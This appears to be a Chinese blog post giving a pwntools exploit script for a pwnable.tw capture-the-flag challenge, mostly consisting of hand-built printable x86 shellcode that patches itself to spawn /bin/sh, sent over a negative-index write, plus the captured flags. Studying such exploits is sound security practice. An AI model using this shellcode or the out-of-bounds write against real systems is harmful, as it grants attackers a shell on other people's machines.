from pwn import *
shellcode = '''
push 0x68 ;压入/bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx ;ebx指向字符串
push edx
pop eax ;eax指向shellcode地址,用于后面创造int 80
/*构建int 80*/
push 0x52525260
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x5252523e
pop edx
sub byte ptr[eax + 0x34] , dl
/*构建完成 eax+0x34处为80cd(int 80)*/
/*edx=0*/
push ecx
pop edx
/*eax=0xb*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*补全shellcode长度,到eax+34也就是shellcode+34处*/
push edx
pop edx
push edx
pop edx
'''
p=remote('chall.pwnable.tw',10201)
def add(idx,name):
p.sendline('1')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('Name :')
p.sendline(name)
#p.recvuntil('Your choice :')
shellcode = asm(shellcode) + '\x6b\x40' #\x6b\x40用于异或构建int 80
#print p64('jhh///sh/binT[RXh````Z(P5(P5(P4h>>>>Z(P4QZRX4@4Kk@')
print shellcode
add(-16,shellcode)
FLAG{F1l3_Str34m_is_4w3s0m3}
FLAG{sh3llc0d3_is_s0_b34ut1ful}
p.interactive()
可打印shellcode
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
- 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
- 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
- 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...